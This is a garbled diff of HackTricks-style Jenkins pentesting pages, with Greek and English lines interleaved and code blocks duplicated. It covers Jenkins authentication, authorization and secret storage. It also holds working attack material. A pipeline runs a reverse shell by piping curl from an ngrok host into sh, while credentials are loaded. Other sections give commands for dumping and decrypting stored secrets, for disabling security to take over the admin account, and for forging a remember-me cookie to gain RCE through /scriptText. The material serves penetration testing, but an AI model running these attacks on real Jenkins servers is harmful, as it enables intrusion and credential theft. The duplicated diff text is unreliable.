Pipeline σε έναν συγκεκριμένο πράκτορα, με έναν cron trigger, με μεταβλητές περιβάλλοντος pipeline και stage, φορτώνοντας 2 μεταβλητές σε ένα βήμα και στέλνοντας ένα reverse shell:
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Αυθαίρετη Ανάγνωση Αρχείου σε RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,40 +326,43 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Μετά την Εκμετάλλευση
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
Μπορείτε να καταγράψετε τα μυστικά προσβάλλοντας το `/credentials/` αν έχετε αρκετές άδειες. Σημειώστε ότι αυτό θα καταγράψει μόνο τα μυστικά μέσα στο αρχείο `credentials.xml`, αλλά **τα αρχεία διαμόρφωσης κατασκευής** μπορεί επίσης να έχουν **περισσότερα μυστικά**.
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
Αν μπορείτε να **δείτε τη διαμόρφωση κάθε έργου**, μπορείτε επίσης να δείτε εκεί τα **ονόματα των μυστικών (credentials)** που χρησιμοποιούνται για την πρόσβαση στο αποθετήριο και **άλλα μυστικά του έργου**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../images/image (180).png>)
#### Από Groovy
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### Από δίσκο
#### From disk
Αυτά τα αρχεία είναι απαραίτητα για να **αποκρυπτογραφήσετε τα μυστικά του Jenkins**:
These files are needed to **decrypt Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Τέτοια **μυστικά συνήθως μπορούν να βρεθούν σε**:
Such **secrets can usually be found in**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Ακολουθεί μια regex για να τα βρείτε:
Here's a regex to find them:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -349,9 +372,11 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Αποκρυπτογράφηση μυστικών Jenkins εκτός σύνδεσης
Αν έχετε εξάγει τα **απαραίτητα κωδικούς πρόσβασης για να αποκρυπτογραφήσετε τα μυστικά**, χρησιμοποιήστε [**αυτό το σενάριο**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **για να αποκρυπτογραφήσετε αυτά τα μυστικά**.
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,20 +384,23 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Αποκρυπτογράφηση μυστικών Jenkins από το Groovy
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Δημιουργία νέου διαχειριστή
1. Πρόσβαση στο αρχείο Jenkins config.xml στο `/var/lib/jenkins/config.xml` ή `C:\Program Files (x86)\Jenkis\`
2. Αναζητήστε τη λέξη `<useSecurity>true</useSecurity>` και αλλάξτε τη λέξη **`true`** σε **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Επανεκκινήστε** τον **διακομιστή Jenkins**: `service jenkins restart`
4. Τώρα πηγαίνετε ξανά στην πύλη Jenkins και **ο Jenkins δεν θα ζητήσει καμία πιστοποίηση** αυτή τη φορά. Πλοηγηθείτε στο "**Manage Jenkins**" για να ορίσετε ξανά τον **κωδικό πρόσβασης διαχειριστή**.
5. **Ενεργοποιήστε** ξανά την **ασφάλεια** αλλάζοντας τις ρυθμίσεις σε `<useSecurity>true</useSecurity>` και **επανεκκινήστε ξανά τον Jenkins**.
### Create new admin user
## Αναφορές
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -382,3 +410,6 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Βασικές Πληροφορίες για το Jenkins
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## Πρόσβαση
## Access
### Όνομα Χρήστη + Κωδικός
### Username + Password
Ο πιο κοινός τρόπος σύνδεσης στο Jenkins είναι με ένα όνομα χρήστη ή έναν κωδικό.
The most common way to login in Jenkins if with a username or a password
### Cookie
Αν ένα **εξουσιοδοτημένο cookie κλαπεί**, μπορεί να χρησιμοποιηθεί για πρόσβαση στη συνεδρία του χρήστη. Το cookie συνήθως ονομάζεται `JSESSIONID.*`. (Ένας χρήστης μπορεί να τερματίσει όλες τις συνεδρίες του, αλλά θα πρέπει πρώτα να ανακαλύψει ότι ένα cookie έχει κλαπεί).
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/Πρόσθετα
### SSO/Plugins
Το Jenkins μπορεί να ρυθμιστεί χρησιμοποιώντας πρόσθετα για να είναι **προσβάσιμο μέσω τρίτου SSO**.
Jenkins can be configured using plugins to be **accessible via third party SSO**.
### Tokens
**Οι χρήστες μπορούν να δημιουργήσουν tokens** για να δώσουν πρόσβαση σε εφαρμογές να τους προσποιηθούν μέσω CLI ή REST API.
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### SSH Κλειδιά
### SSH Keys
Αυτό το στοιχείο παρέχει έναν ενσωματωμένο SSH διακομιστή για το Jenkins. Είναι μια εναλλακτική διεπαφή για το [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), και οι εντολές μπορούν να εκτελούνται με αυτόν τον τρόπο χρησιμοποιώντας οποιονδήποτε SSH πελάτη. (Από τα [docs](https://plugins.jenkins.io/sshd/))
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
## Εξουσιοδότηση
## Authorization
Στο `/configureSecurity` είναι δυνατό να **ρυθμίσετε τη μέθοδο εξουσιοδότησης του Jenkins**. Υπάρχουν πολλές επιλογές:
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
- **Ο καθένας μπορεί να κάνει οτιδήποτε**: Ακόμα και η ανώνυμη πρόσβαση μπορεί να διαχειριστεί τον διακομιστή.
- **Κληρονομική λειτουργία**: Ίδιο με το Jenkins <1.164. Αν έχετε τον **ρόλο "admin"**, θα έχετε **πλήρη έλεγχο** του συστήματος, και **διαφορετικά** (συμπεριλαμβανομένων των **ανώνυμων** χρηστών) θα έχετε **πρόσβαση μόνο για ανάγνωση**.
- **Οι συνδεδεμένοι χρήστες μπορούν να κάνουν οτιδήποτε**: Σε αυτή τη λειτουργία, κάθε **συνδεδεμένος χρήστης αποκτά πλήρη έλεγχο** του Jenkins. Ο μόνος χρήστης που δεν θα έχει πλήρη έλεγχο είναι ο **ανώνυμος χρήστης**, ο οποίος αποκτά μόνο **πρόσβαση για ανάγνωση**.
- **Ασφάλεια βασισμένη σε πίνακα**: Μπορείτε να ρυθμίσετε **ποιος μπορεί να κάνει τι** σε έναν πίνακα. Κάθε **στήλη** αντιπροσωπεύει μια **άδεια**. Κάθε **γραμμή** **αντιπροσωπεύει** έναν **χρήστη ή μια ομάδα/ρόλο.** Αυτό περιλαμβάνει έναν ειδικό χρήστη '**ανώνυμος**', ο οποίος αντιπροσωπεύει **μη αυθεντικοποιημένους χρήστες**, καθώς και '**αυθεντικοποιημένος**', ο οποίος αντιπροσωπεύει **όλους τους αυθεντικοποιημένους χρήστες**.
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
![](<../../images/image (149).png>)
- **Στρατηγική Εξουσιοδότησης Βασισμένη σε Έργα:** Αυτή η λειτουργία είναι μια **επέκταση** της "**Ασφάλειας βασισμένης σε πίνακα**" που επιτρέπει την επιπλέον ACL matrix να ορίζεται **για κάθε έργο ξεχωριστά.**
- **Στρατηγική Βασισμένη σε Ρόλους:** Ενεργοποιεί τον καθορισμό εξουσιοδοτήσεων χρησιμοποιώντας μια **στρατηγική βασισμένη σε ρόλους**. Διαχειριστείτε τους ρόλους στο `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
## **Βασίλειο Ασφαλείας**
## **Security Realm**
Στο `/configureSecurity` είναι δυνατό να **ρυθμίσετε το βασίλειο ασφαλείας.** Από προεπιλογή, το Jenkins περιλαμβάνει υποστήριξη για μερικά διαφορετικά Βασίλεια Ασφαλείας:
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
- **Ανάθεση σε servlet container**: Για **ανάθεση αυθεντικοποίησης σε ένα servlet container που εκτελεί τον ελεγκτή Jenkins**, όπως το [Jetty](https://www.eclipse.org/jetty/).
- **Δική του βάση δεδομένων χρηστών του Jenkins:** Χρησιμοποιήστε **την ενσωματωμένη βάση δεδομένων χρηστών του Jenkins** για αυθεντικοποίηση αντί να αναθέσετε σε ένα εξωτερικό σύστημα. Αυτό είναι ενεργοποιημένο από προεπιλογή.
- **LDAP**: Ανάθεση όλης της αυθεντικοποίησης σε έναν ρυθμισμένο LDAP διακομιστή, συμπεριλαμβανομένων τόσο των χρηστών όσο και των ομάδων.
- **Βάση δεδομένων χρηστών/ομάδων Unix**: **Αναθέτει την αυθεντικοποίηση στη βάση δεδομένων χρηστών του Unix** στο επίπεδο του λειτουργικού συστήματος στον ελεγκτή Jenkins. Αυτή η λειτουργία θα επιτρέψει επίσης την επαναχρησιμοποίηση των ομάδων Unix για εξουσιοδότηση.
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
Τα πρόσθετα μπορούν να παρέχουν επιπλέον βασίλεια ασφαλείας που μπορεί να είναι χρήσιμα για την ενσωμάτωση του Jenkins σε υπάρχοντα συστήματα ταυτότητας, όπως:
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Κόμβοι, Πράκτορες & Εκτελεστές
## Jenkins Nodes, Agents & Executors
Ορισμοί από τα [docs](https://www.jenkins.io/doc/book/managing/nodes/):
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Κόμβοι** είναι οι **μηχανές** στις οποίες εκτελούνται οι **πράκτορες**. Το Jenkins παρακολουθεί κάθε συνδεδεμένο κόμβο για ελεύθερο χώρο δίσκου, ελεύθερο χώρο temp, ελεύθερο swap, χρόνο/συγχρονισμό ρολογιού και χρόνο απόκρισης. Ένας κόμβος τίθεται εκτός σύνδεσης αν οποιαδήποτε από αυτές τις τιμές ξεπεράσει το ρυθμισμένο όριο.
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Πράκτορες** **διαχειρίζονται** την **εκτέλεση εργασιών** εκ μέρους του ελεγκτή Jenkins χρησιμοποιώντας **εκτελεστές**. Ένας πράκτορας μπορεί να χρησιμοποιήσει οποιοδήποτε λειτουργικό σύστημα που υποστηρίζει Java. Τα εργαλεία που απαιτούνται για τις κατασκευές και τις δοκιμές εγκαθίστανται στον κόμβο όπου εκτελείται ο πράκτορας; μπορούν να **εγκατασταθούν απευθείας ή σε ένα κοντέινερ** (Docker ή Kubernetes). Κάθε **πράκτορας είναι ουσιαστικά μια διαδικασία με το δικό του PID** στη μηχανή φιλοξενίας.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
Ένας **εκτελεστής** είναι μια **θέση για την εκτέλεση εργασιών**; ουσιαστικά, είναι **ένα νήμα στον πράκτορα**. Ο **αριθμός των εκτελεστών** σε έναν κόμβο καθορίζει τον αριθμό των **ταυτόχρονων εργασιών** που μπορούν να εκτελούνται σε αυτόν τον κόμβο ταυτόχρονα. Με άλλα λόγια, αυτό καθορίζει τον **αριθμό των ταυτόχρονων Pipeline `stages`** που μπορούν να εκτελούνται σε αυτόν τον κόμβο ταυτόχρονα.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
## Μυστικά Jenkins
## Jenkins Secrets
### Κρυπτογράφηση Μυστικών και Διαπιστευτηρίων
### Encryption of Secrets and Credentials
Ορισμός από τα [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Το Jenkins χρησιμοποιεί **AES για την κρυπτογράφηση και την προστασία μυστικών**, διαπιστευτηρίων και των αντίστοιχων κλειδιών κρυπτογράφησης τους. Αυτά τα κλειδιά κρυπτογράφησης αποθηκεύονται στο `$JENKINS_HOME/secrets/` μαζί με το κύριο κλειδί που χρησιμοποιείται για την προστασία αυτών των κλειδιών. Αυτός ο φάκελος θα πρέπει να ρυθμιστεί έτσι ώστε μόνο ο χρήστης του λειτουργικού συστήματος που εκτελεί τον ελεγκτή Jenkins να έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτόν τον φάκελο (δηλαδή, μια τιμή `chmod` `0700` ή χρησιμοποιώντας κατάλληλα χαρακτηριστικά αρχείων). Το **κύριο κλειδί** (μερικές φορές αναφέρεται ως "κλειδί κρυπτογράφησης" στην κρυπτογραφία) είναι **αποθηκευμένο \_μη κρυπτογραφημένο\_** στο σύστημα αρχείων του ελεγκτή Jenkins στο **`$JENKINS_HOME/secrets/master.key`** το οποίο δεν προστατεύει από επιτιθέμενους με άμεση πρόσβαση σε αυτό το αρχείο. Οι περισσότεροι χρήστες και προγραμματιστές θα χρησιμοποιούν αυτά τα κλειδιά κρυπτογράφησης έμμεσα είτε μέσω του [Secret](https://javadoc.jenkins.io/byShortName/Secret) API για την κρυπτογράφηση γενικών μυστικών δεδομένων είτε μέσω του API διαπιστευτηρίων. Για τους κρυπτογραφικά περίεργους, το Jenkins χρησιμοποιεί AES σε λειτουργία αλυσίδας μπλοκ κρυπτογράφησης (CBC) με padding PKCS#5 και τυχαία IVs για την κρυπτογράφηση περιπτώσεων του [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) που αποθηκεύονται στο `$JENKINS_HOME/secrets/` με ένα όνομα αρχείου που αντιστοιχεί στο `CryptoConfidentialKey` id τους. Κοινά ids κλειδιών περιλαμβάνουν:
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`: χρησιμοποιείται για γενικά μυστικά;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: χρησιμοποιείται για ορισμένους τύπους διαπιστευτηρίων;
- `jenkins.model.Jenkins.crumbSalt`: χρησιμοποιείται από τον [μηχανισμό προστασίας CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); και
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### Πρόσβαση σε Διαπιστευτήρια
### Credentials Access
Οι διαπιστευτήριες μπορούν να είναι **περιορισμένες σε παγκόσμιους παρόχους** (`/credentials/`) που μπορούν να προσπελαστούν από οποιοδήποτε έργο έχει ρυθμιστεί, ή μπορούν να περιοριστούν σε **συγκεκριμένα έργα** (`/job/<project-name>/configure`) και επομένως να είναι προσβάσιμες μόνο από το συγκεκριμένο έργο.
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Σύμφωνα με [**τα docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Οι διαπιστευτήριες που είναι σε πεδίο είναι διαθέσιμες στην pipeline χωρίς περιορισμούς. Για να **αποτραπεί η τυχαία έκθεση στο αρχείο καταγραφής κατασκευής**, οι διαπιστευτήριες είναι **κρυμμένες** από την κανονική έξοδο, έτσι ώστε μια κλήση του `env` (Linux) ή `set` (Windows), ή προγράμματα που εκτυπώνουν το περιβάλλον τους ή τις παραμέτρους τους να **μην τις αποκαλύπτουν στο αρχείο καταγραφής κατασκευής** σε χρήστες που διαφορετικά δεν θα είχαν πρόσβαση στις διαπιστευτήριες.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**Γι' αυτόν τον λόγο, προκειμένου να εξάγει τις διαπιστευτήριες, ένας επιτιθέμενος χρειάζεται, για παράδειγμα, να τις κωδικοποιήσει σε base64.**
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
## Αναφορές
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,3 +92,6 @@
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,104 +2,107 @@
{{#include ../../banners/hacktricks-training.md}}
Σε αυτή την ανάρτηση του blog είναι δυνατή η εύρεση ενός εξαιρετικού τρόπου για να μετατραπεί μια ευπάθεια Local File Inclusion στο Jenkins σε RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
Αυτό είναι ένα AI δημιουργημένο σύνοψη του μέρους της ανάρτησης όπου η δημιουργία ενός αυθαίρετου cookie κακοποιείται για να αποκτήσει RCE εκμεταλλευόμενη μια τοπική ανάγνωση αρχείου μέχρι να έχω χρόνο να δημιουργήσω μια σύνοψη μόνος μου:
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
### Προαπαιτούμενα Επίθεσης
### Attack Prerequisites
- **Απαιτούμενη Λειτουργία:** Το "Remember me" πρέπει να είναι ενεργοποιημένο (προεπιλεγμένη ρύθμιση).
- **Επίπεδα Πρόσβασης:** Ο επιτιθέμενος χρειάζεται συνολικές/αναγνωστικές άδειες.
- **Μυστική Πρόσβαση:** Ικανότητα ανάγνωσης τόσο δυαδικού όσο και κειμενικού περιεχομένου από βασικά αρχεία.
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
### Λεπτομερής Διαδικασία Εκμετάλλευσης
### Detailed Exploitation Process
#### Βήμα 1: Συλλογή Δεδομένων
#### Step 1: Data Collection
**Ανάκτηση Πληροφοριών Χρήστη**
**User Information Retrieval**
- Πρόσβαση στη διαμόρφωση χρήστη και τα μυστικά από `$JENKINS_HOME/users/*.xml` για κάθε χρήστη για να συγκεντρωθούν:
- **Όνομα Χρήστη**
- **Seed Χρήστη**
- **Χρονική Σημείωση**
- **Hash Κωδικού**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
**Εξαγωγή Μυστικού Κλειδιού**
**Secret Key Extraction**
- Εξαγωγή κρυπτογραφικών κλειδιών που χρησιμοποιούνται για την υπογραφή του cookie:
- **Μυστικό Κλειδί:** `$JENKINS_HOME/secret.key`
- **Κύριο Κλειδί:** `$JENKINS_HOME/secrets/master.key`
- **Αρχείο Κλειδιού MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Βήμα 2: Δημιουργία Cookie
#### Step 2: Cookie Forging
**Προετοιμασία Token**
**Token Preparation**
- **Υπολογισμός Χρόνου Λήξης Token:**
- **Calculate Token Expiry Time:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Προσθέτει μία ώρα στην τρέχουσα ώρα
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
- **Συγκέντρωση Δεδομένων για το Token:**
- **Concatenate Data for Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**Αποκρυπτογράφηση Κλειδιού MAC**
**MAC Key Decryption**
- **Αποκρυπτογράφηση Αρχείου Κλειδιού MAC:**
- **Decrypt MAC Key File:**
```javascript
key = toAes128Key(masterKey) // Μετατροπή του κύριου κλειδιού σε μορφή AES128
decrypted = AES.decrypt(macFile, key) // Αποκρυπτογράφηση του αρχείου .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Υπολογισμός Υπογραφής**
**Signature Computation**
- **Υπολογισμός HMAC SHA256:**
- **Compute HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Υπολογισμός HMAC χρησιμοποιώντας το token και το κλειδί MAC
tokenSignature = bytesToHexString(mac) // Μετατροπή του MAC σε δεκαεξαδική συμβολοσειρά
```
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
**Κωδικοποίηση Cookie**
**Cookie Encoding**
- **Δημιουργία Τελικού Cookie:**
- **Generate Final Cookie:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Κωδικοποίηση Base64 των δεδομένων cookie
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
#### Βήμα 3: Εκτέλεση Κώδικα
#### Step 3: Code Execution
**Αυθεντικοποίηση Συνεδρίας**
**Session Authentication**
- **Ανάκτηση CSRF και Συνεδριακών Tokens:**
- Κάντε ένα αίτημα στο `/crumbIssuer/api/json` για να αποκτήσετε `Jenkins-Crumb`.
- Συλλέξτε το `JSESSIONID` από την απάντηση, το οποίο θα χρησιμοποιηθεί σε συνδυασμό με το cookie "remember-me".
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
**Αίτημα Εκτέλεσης Εντολής**
**Command Execution Request**
- **Αποστολή POST Αιτήματος με Groovy Script:**
- **Send a POST Request with Groovy Script:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Το Groovy script μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών σε επίπεδο συστήματος ή άλλων λειτουργιών μέσα στο περιβάλλον Jenkins.
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
Η παραδείγματος curl εντολή που παρέχεται δείχνει πώς να κάνετε ένα αίτημα στο Jenkins με τις απαραίτητες κεφαλίδες και cookies για να εκτελέσετε αυθαίρετο κώδικα με ασφάλεια.
